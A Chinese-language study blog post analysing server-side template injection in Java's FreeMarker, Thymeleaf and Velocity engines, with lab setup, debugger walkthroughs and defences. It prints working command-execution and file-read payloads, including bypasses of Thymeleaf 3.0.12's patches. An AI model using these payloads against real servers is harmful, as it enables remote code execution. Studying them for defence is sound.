Java中的模板注入
前言
最近在审计系统的时候,复现一个SSTI模板注入的漏洞,感觉SSTI的危害程度挺高的,因为感觉不是很了解原理,所以详细来学习一下SSTI漏洞
模板注入漏洞
SSTI(服务器端模板注入),在模板引擎解析模板时,因为代码实现的不严谨,可以将恶意代码注入到模板中,从而达到执行任意代码的功能。
Java中常用的模板有三个:FreeMarker,Thymeleaf,Velocity。
FreeMarker
FreeMarker 是一款Java语言编写的模板引擎,它是一种基于模板和程序动态生成的数据,动态生成输出文本(HTML网页,电子邮件,配置文件,源代码等)的通用工具。它不是面向最终用户的,而是一个Java类库,是一款程序员可以嵌入他们所开发产品的组件。

FreeMarker基础
总体结构
FreeMarker模板文件主要有以下四个部分构成:
- 文本:直接输出的地方
- 注释:使用
<#-- ... -->格式作为注释,里面的内容不会输出 - 插值:
${}或#{}格式的部分,类似于占位符 - FTL指令:FTL标签和HTML标签很相似,但是它们却是给FreeMarker的指示, 而且不会打印在输 出内容中
插值
插值也叫Interpolation,即${}或#{}格式的部分,将使用数据模型中的部分替代输出(里面的表达式可以是所有种类的表达式)
插值只可以在两种位置使用:
- 文本区:
<h1>Hello ${name}</h1> - 字符串表达式:
<#include "/footer/${comppany}.html">
以下面这个.ftl文件为例,${name}的数据就会从传参中拿,一般情况下对应通过addAttribute中传入的name参数
1 |
|
内建函数
在FreeMarker中自带着很多的内建函数,在这些内建函数中,我们只关注一些相关危险函数:api、new
api内建函数
value?api提供了对value的API(通常为JavaAPI)的访问,例如:
- value?api?someJavaMethod
- value?api.someBeanProperty
只说很难理解,这里举一个例子:
当有一个Map放入数据模型时,模板中的myMap.myMethod基本上翻译成了((Method) myMap.get("myMethod")).invoke(...) ,因此我们不能调用myMethod。而myMap?api.myMethod(),就基本与myMap.myMethod()等价
PS:api_builtin_enabled为true时才可使用api函数,而该配置在2.3.22版本之后默认为false。
new内建函数
创建任意实现了TemplateModel接口的Java对象,同时在使用new的时候,还能够执行没有实现该接口类的静态初始化块。
在FreeMarker模板注入漏洞中,我们常用的有以下这两个类:
- freemarker.template.utility.JythonRuntime
- freemarker.template.utility.Execute
在?的左边可以指定一个字符串,为TemplateModel的全限定类名,使用方法如下:
1 | <#assign word_wrapp "com.acmee.freemarker.WordWrapperDirective">new()> |
FreeMarker SSTI
SSTI的漏洞成因都是模板引擎的渲染导致的,想让Web服务器将HTML语句渲染为模板引擎,那么就需要现有HTML语句。
那么想将HTML传输到服务器上,有两种方法:
- 文件上传HTML
- 系统自带模板编辑功能
环境搭建
环境搭建写的好麻烦呀…
在IDEA中创建SpringBoot项目

选择导入SpringWeb和Freemarker依赖

然后在/src/main/resources/application.properties文件中加下如下配置(端口想改哪里改哪里)
1 | server.port=8888 |
在/src/main/resources/templates目录下新建一个名为index.ftl的文件,内容如下
1 |
|
继续编写Controller
1 | package com.freemarker.demos.web; |
启动项目即可,访问http://127.0.0.1:8888/freemarker/index,环境搭建成功

漏洞复现
在FreeMarker中SSTI,需要我们将paylaod插入到.ftl模板中,从个人触发漏洞,paylaod如下
1 | <#assign value="freemarker.template.utility.Execute"?new()>${value("Calc")} |

重启后访问,可以看到成功弹出计算器

漏洞分析
我们要分析的时MVC的思维,如何走到最终的危险类`freemarker.template.utility.Execute`中的在org.springframework.web.servlet.view.UrlBasedViewResolver#createView处下一个断点,开始我们的调试之旅
这里viewName,应该就是我们的return "index";处,中间的判断都会跳过,我们继续跟进super.create.createView(viewName,locale)

进一步跟进loadView以及buildView,先create一个View试图,再load进来,最后build即可



跟进到最后buildView方法中,先看一下this.instantiateView方法,该方法new了一个FreeMarkerView类,然后进行了一些基础的赋值,将View Build了出来


回到loadView方法,loadView方法调用了view.checkResource方法

跟进view.checkResource,在这个方法中做了两件事情:
- 获取URL,判断URL是否为空
- 获取Template,准备开始模板引擎的渲染

获取URL没什么好说的,返回的url为index.ftl,层层跟进this.getTemplate

首先做了一些参数的判断,然后调用this.cache.getTemplate,从cache中获取template(在设置模板时,会将其存储到cache中)
继续跟进this.getTemplateInternal

前面做了一些判断,跟进lookupTemplate方法中,再跟进this.templateLookupStrategy.lookup,以及lookupWithLocalizedThenAcquisitionStrategy

在lookupWithLocalizedThenAcquisitionStrategy中,就是真正寻找文件的地方了
while之前,将文件名以.为截断截取文件名和文件后缀
将locale拼接到文件名后,在与后缀拼接index_zh_CN.ftl,每次以最后一个_为截断进行截取,寻找模板,顺序为index_zh_CN.ftl,index_zh.ftl,index.ftl

this.lookupWithAcquisitionStrategy的主要任务是,判断是否存在这个模板并获取模板
跟进
this.lookupWithAcquisitionStrategy,再跟进lookupTemplateWithAcquisitionStrategy,有一个this.findTemplateSource(path)

层层跟进后,会将文件名和我们设置的模板目录进行拼接,并判断文件是否存在

最后回到getTemplate方法中,这里maybeTemp.getTemplate方法,就从资源中获取到到了我们的模板内容

接下来我们一步一步步出到processHandlerException#render方法中,走到view.render处,这里mv参数就可以看到我们所设置的参数

层层跟进到FreeMarkerView#doRender方法内

然后跟进this.processTemplate,继续层层跟入template.process

prcess方法 是做了一个输出HTML文件或其他文件的工作,相当于渲染的最后一步。在该方法中,会对ftl的文件进行遍历,读取一些信息

在读取到每一条 freeMarker 表达式语句或插值的时候,会二次调用 visit 方法,而 visit 方法又调用了 element.accept,跟进
在读取到${user.id}时,在accept方法中就可以获取到其对应的值了

在读取到<#assign value="freemarker.template.utility.Execute"?new()>时,accept是这样的。
首先进行一系列的判断,判断namespaceExp是否为null,接着判断this.operatorType是否等于65536,后面我们跟进eval方法,在跟进_eval方法
在最后的_eval方法中,可以看到最后构造了一个Execute方法并返回



将构造好的Execute方法,与我们的参数value,一起put进去了namespace中

在读取到${value("Calc")}中,根据以下调用栈进行跟进
1 | accept -> calculateInterpolatedStringOrMarkup -> eval -> _eval |

最后走到_eval中,获取到之前添加进namespace中的value: Execute@9528,拿到了Execute方法,最后调用Execute("Calc")

最后走到Execute#exec中进行命令执行

FreeMarker SSTI Bypass
目前的Poc是这样的,前面除了new,还简单说了一下api方法
1 | <#assign value="freemarker.template.utility.Execute"?new()>${value("Calc")} |
根据这些,我们可以构造出一些其他的poc进行bypass操作
Poc1
1 | <#assign classLoader=object?api.class.protectionDomain.classLoader> |
Poc2
1 | <#assign value="freemarker.template.utility.ObjectConstructor"?new()>${value("java.lang.ProcessBuilder","Calc").start()} |
Poc3
1 | <#assign value="freemarker.template.utility.JythonRuntime"?new()><>import os;os.system("calc") |
Poc4
1 | <#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("Calc") } |
Poc5(文件读取)
1 | <#assign is=object?api.class.getResourceAsStream("/Test.class")> |
1 | <#assign uri=object?api.class.getResource("/").toURI()> |
FreeMarker SSTI修复
从 2.3.17版本以后,官方版本提供了三种TemplateClassResolver对类进行解析:
- UNRESTRICTED_RESOLVER:可以通过 ClassUtil.forName(className) 获取任何类。
- SAFER_RESOLVER:不能加载 freemarker.template.utility.JythonRuntime、freemarker.template.utility.Execute、freemarker.template.utility.ObjectConstructor这三个类。
- ALLOWS_NOTHING_RESOLVER:不能解析任何类。
可通过freemarker.core.Configurable#setNewBuiltinClassResolver方法设置TemplateClassResolver,从而限制通过new()函数对freemarker.template.utility.JythonRuntime、freemarker.template.utility.Execute、freemarker.template.utility.ObjectConstructor这三个类的解析。
1 | package freemarker; |
Thymeleaf
Thymeleaf 是一种用于 Web 和独立环境中的现代化服务器端 Java 模板引擎,它能够处理 HTML, XML,JavaScript,CSS 甚至纯文本。Thymeleaf 使用自然模板语法和预处理引擎,使得模板易于阅读, 修改和维护。Thymeleaf 是可扩展的,可以添加自定义标签和扩展函数,以实现自己的需求。
Thymeleaf基础
Thymeleaf语法基础
Thymeleaf表达式有以下类型
${}:变量表达式——通常在实际应用中,一般是OGNL表达式或者SpEL表达式,如果集成了Spring,可以在上下文变量中执行*{}:选择表达式——类似于变量表达式,区别在于选择表达式是在当前选择的对象而不是整个上下文变量映射上执行#{}:Message(i18n)表达式——允许从外部源(例如.properties文件检索特定于语言环境的消息)@{}:链接表达式——一般用在应用程序中设置正确的URL路径(URL重写)~{}:片段表达式——Thymeleaf 3.X 版本新增的内容,片段表达式是一种表示标记片段并将其移动到模板周围的简单方法。正式由于这些表达式,片段可以被赋值,或者作为参数传递给其他模板等等
表达式预处理
除了上述用于表达式处理的功能外,Thymeleaf还具有预处理表达式的能力。预处理是在处理正常表达式前完成的表达式的执行,允许修改最终将执行的表达式
预处理的表达式与普通表达式完全一样,但是被双下划线符号包围,例子如下:
首先变量表达式${sel.code}先被执行,如果结果为ALL,那么__之间的值ALL将被当作表达式的一部分被执行,这里会变为#{selection.ALL}
1 | #{selection.__${sel.code}__} |
Thymeleaf SSTI
Thymeleaf出现SSTI问题的主要原因是因为片段表达式,其本质为SPEL表达式注入。实际只有3.X版本的Thymeleaf才会收到影响,因为在2.X中`readerFragment`的核心处理方法为:1 | protected void renderFragment(Set<String> markupSelectorsToRender, Map<String, ?> model, HttpServletRequest request, HttpServletResponse response) throws Exception { |
里面并没有3.X版本中对于片段表达式~{}的处理,因此也不会造成SSTI漏洞
SpringBoot默认引用thymeleaf版本对应如下:
| Spring Boot | Thymeleaf |
|---|---|
| 1.5.1.RELEASE | 2.1.5 |
| 2.0.0.RELEASE | 3.0.9 |
| 2.2.0.RELEASE | 3.0.11 |
环境搭建
这里的漏洞环境使用这个项目环境:https://github.com/veracode-research/spring-view-manipulation/
以以下这个路径作为漏洞环境
1 |
|
漏洞复现
启动环境后,使用如下poc进行漏洞复现
1 | http://127.0.0.1:8090/path?lang=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22Calc%22).getInputStream()).next()%7d__::.x |

漏洞分析
对于Thymeleaf中SSTI的分析,主要是分析SpringMVC对于thymeleaf的解析流程
大致流程参照下图

在DispatcherServlet#doService下一个断点,因为DispatcherServlet时Spring对前端控制器的默认拦截器

获取handler
在doService方法中,前面会赋值一些属性,后面调用了this.doDispath方法

跟进this.doDispath方法,这里的this.getHanlder会寻找我们访问路径所对应的Handler Mappings,再由Hanlder Mapping找到对应的Controller

跟进this.getHanlder,在Handler Mappings中存在五个Handler,通过迭代器进行遍历,目的是找到匹配的Handler
再次跟进getHanlder,然后层层跟入getHandlerInternal方法以及父类的getHandlerInternal方法

进入lookupHandlerMethod,首先根据传入的lookupPath进行匹配对应的路径,如果无法通过URI直接匹配,则对所有注册的RequestMapping进行匹配
无法通过URI匹配的情况主要有三种
1 | // ①在RequestMapping中定义的是PathVariable,如/user/detail/{id}; |

获取Controller
获取到匹配结果后,new了一个comparator,然后对匹配的结果进行排序,来获取相似度最高的(get(0)),如果存在两个匹配结果重合度一致时,就会抛出异常

这里可以看到,匹配到的时GET /path

回到DispatherServlet中,向下跟,跟进getHandlerAdpter方法中,这个方法的目的是找到目标处理器的适配器
通过迭代器遍历handlerAdapters,判断该adapter是否支持该handler,如果支持则返回该adapter


获取ModelAndView
再次回到DispatherServlet,调用了ha.handle,实现执行Controller中(Handler)的方法,并返回ModelAndView试图

跟进handle方法,继续跟进this.handleInternal,跟进至this.invokeHandlerMethod方法,就到了真正的业务方法
这里的handlerMethod其实就是ThymeleafController#path(String),通过调用this.createInvocableHandlerMethod,将handlerMethod包装成一个ServletInvocableHandlerMethod类,让其具有invoke的执行能力

后续会给invocableMethod的各大属性赋值,赋值后new了一个ModelAndViewContainer对象,后面的所有值都会保存到这一个对象中

继续往下走,调用了invocableMethod.invokeAndHandle,这个方法的作用是获取returnValueHandlers

进入this.invokeForRequest首先获取参数,然后调用this.doInvoke,层层跟进invoke,最后调用invokeImpl,根据参数的个数来invoke调用



这样就走到了我们的HelloController处

return返回后,回到RequestMappingHandlerAdapter#invokeHandlerMethod,后面调用this.getModelAndView获取ModelAndView对象

ViewResolver与渲染
获取到ModelAndView后,应该就要进行模板的渲染操作了,回到DispatcherServlet#doDispatch
下面调用mappedHandler.applyPostHandle,该方法会遍历Interceptor,调用其postHandler方法


遍历结束后,会调用this.processDispatchResult方法,在这里对Dispath的结果进行加工处理,在判断完ModelAndView不为空后,就会调用this.render

跟进this.reader方法,前面会进行一些国际化的判断,获取viewName,这里的viewName就是我们Controller中return的东西,如果我们的模板是FreeMarker,那么view就是FreeMarkerView,如果是Thymeleaf,那么view就是ThymeleafView

继续跟进view.render中,也就是ThymeleafView.render方法,继续跟进this.renderFragment。在第一个标记部分,会判断我们的viewTemplateName中是有存在::,如果不存在则不做解析处理

继续向下跟进parser.parseExpression处,这里就对我们输入的字符串进行了处理(传入的字符串会进行拼接~{......},也就是传入片段表达式中),再standardExpressionPreprocessor.preprocess
首先判断input中是否存在_字符,没有则不做解析,接着调用matcher进行匹配__,并提取__中间的内容
继续向下走,就到了expression.execute方法处,这里解析并执行我们的SPEL表达式

Thymeleaf SSTI Bypass
传参检测与绕过
我们正常攻击时,使用的Poc是这样的
1 | __${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("touch executed").getInputStream()).next()}__::.x |
在Thymeleaf 3.0.12中,对这个漏洞做了修复

在调用表达式时,会经过以下函数的判断
倒序检测是否包含wen、在(的左右是否包含T字符,如果包含的话,那么就认为找到了一个实例化的对象,返回true,从而阻止该表达式的执行
1 | public static boolean containsSpELInstantiationOrStatic(final String expression) { |
如果要绕过这个函数的话,就需要满足:
- 表达式中不能包含new关键字
- 在
(左边的字符不是T
那么可以通过在T和(中间添加一个字符,来绕过检测,但是不能使原有的表达式出现问题,可以利用的包括%20,%0a,%09,%0d
1 | __${T%20(%0ajava.lang.Runtime%09).%0dgetRuntime%0a(%09)%0d.%00exec('calc')}__::.x |
url中的ThymeleafSSTI
根据spring boot定义,如果controller无返回值,则以GetMapping的路由为视图名称。当然,对于每个http请求来讲,其实就是将请求的url作为视图名称,调用模板引擎去解析1 |
|
同样在3.0.12版本也被修复了,官方说明如下
如果视图名称包含在 URL 的路径或参数中,请避免将视图名称作为片段表达式执行
意思是:如果视图的名字和path一致的话,那么就会经过SpringRequestUtils.java中checkViewNameNotInRequest方法的检测

想要绕过的话,我们可以想办法让 视图的名字和path 不一致,就可以绕过检测
这里直接将两个Poc拿出来,不进行分析了:
Poc1
在home的后面加上一个;
1 | home;/__${t(java.lang.runtime).getruntime().exec("open-acalculator")}__::.x |
Poc2
添加一个/字符
1 | home//__${t(java.lang.runtime).getRuntime().exec("open-acalculator")}__::.x |
ThymeleafSSTI无回显
出现的场景为在片段选择器templatename::selector下。fragment中payload前有::,所以payload在selector位置会抛出异常,虽然无法回显成功,但是命令依旧可以执行
1 |
|
Thymeleaf中SSTI的防御
防御方法如下:
- 配置
@ResponseBody或@RestController,配置以上注解后就不会进行View解析而是直接返回 - 在方法参数中加上
HttpServletResponse参数,spring会认为以及处理了response响应而不再进行试图解析 - 在返回值前面加上
redirect:,交给RedirectView处理
Velocity
Velocity 是一个基于 Java 的模板引擎。它允许任何人使用简单但功能强大的模板语言来引用 Java 代码中 定义的对象。
Velocity基础
Velocity语法基础
#关键字:Velocity关键字都是用#开头的,如#set、#if、#else、#end、#foreach等$变量:在Velocity中,变量都是以$开头的,如$name、$msg等set指令:#set指令用于设置引用的值,一个值可以被赋给一个变量引用或属性引用,如#set{ $name = "sean" }、#set{ $person.name = $username }- 方法:方法在Java中被定义,由
$、标识符、方法体组成,如$customer.getAddress()、$page.setTitle( "My home" )
Velocity SSTI
环境搭建
创建一个SpringBoot项目,选择导入SpringWeb依赖
然后向项目中导入Velocity依赖
1 | <dependency> |
Velocity模板中,有两种触发方式,这里我们创建两个Controller
evaluate触发
evaluate方法使用VelocityEngine的evaluate方法来执行Velocity模板的渲染,evaluate方法的基本语法如下1 | public boolean evaluate(Writer writer, Context context, String logTag, String instring) |
漏洞Demo如下,获取用户输入,并放入VelocityContext中进行渲染,如果没有接收的是恶意payload,就会造成任意代码执行。
1 | package com.velocity.demos.web; |
merge触发
merge 方法用于将 Velocity 模板字符串与上下文数据进行组合并生成最终结果,merge方法的基本语法如下
1 | public void merge(Template template, Context context, Writer writer) |
1 | package com.velocity.demos.web; |
在C:\tmp\template.vm中,写入我们的攻击payload
1 | #set($e="e");$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("calc") |
漏洞复现
漏洞复现以evaluate方法漏洞Demo为例,当我们访问以下URL时,就会触发我们的SSTI(这里的环境不是很好,所以会爆500错误,正常会回显模板渲染的结果,别太在意哈)
1 | http://127.0.0.1:8080/velocityevaluate?template=%23set($e=%22e%22);$e.getClass().forName(%22java.lang.Runtime%22).getMethod(%22getRuntime%22,null).invoke(null,null).exec(%22calc%22) |

漏洞分析
在evaluate方法处,下一个断点,跟进去看一看具体的调用流程

层层跟入evaluate方法,走到RuntimeInstance#evaluate中,到这里我们传入的String类型的字符串,转换成了Reader类,在this.parse处解析成nodeTree(可以自己调试着看一看,跟数据结构有点关系)。
最后调用this.render方法,传入nodeTree,进行渲染操作

跟进this.render方法,首先调用nodeTree.init对节点树进行初始化,然后调用nodeTree.render将节点树渲染到解析器中

跟进到nodeTree.render方法中,使用for循环遍历所有的字节点,通过jjtGetChild(i)方法来获取第i个子节点,并调用render方法来渲染子节点。子节点同时也有可能是子节点树,for循环遍历的时候同时也在递归渲染。

在遍历到第三个节点的时候,跟进去,首先经过一系列判断,走到this.execute方法处,即ASTMethod#execute,这里继续调用子节点树节点的execute方法

继续进入,就到了method.invoke执行反射方法调用的地方,将执行的返回的obj返回,作为下一个调用下一个方法的对象
应该到这里就能理解了,先执行'e'.getClass,返回java.lang.String,再调用java.lang.String的forName("java.lang.Runtime"),以此类推……

mergr方法触发的流程和这个差不多,就不再具体分析了,有兴趣的可以自己去看看
有回显的Payload
我们知道其实该SSTI最后达到的效果就是任意代码执行,最后被渲染的地方会被替换为 代码所返回的值,那么我们就可以构造有回显的payload
1 | #set($x='')+#set($rt=$x.class.forName('java.lang.Runtime'))+#set($chr=$x.class.forName('java.lang.Character'))+#set($str=$x.class.forName('java.lang.String'))+#set($ex=$rt.getRuntime().exec('id'))+$ex.waitFor()+#set($out=$ex.getInputStream())+#foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end |
1 | rt = java.lang.Runtime.class |
小结
感觉确实比较难,学习SSTI的同时,也将Spring一些底层部分简单学习了一下,也算是为后面Spring内存马的学习做一些简单的铺垫吧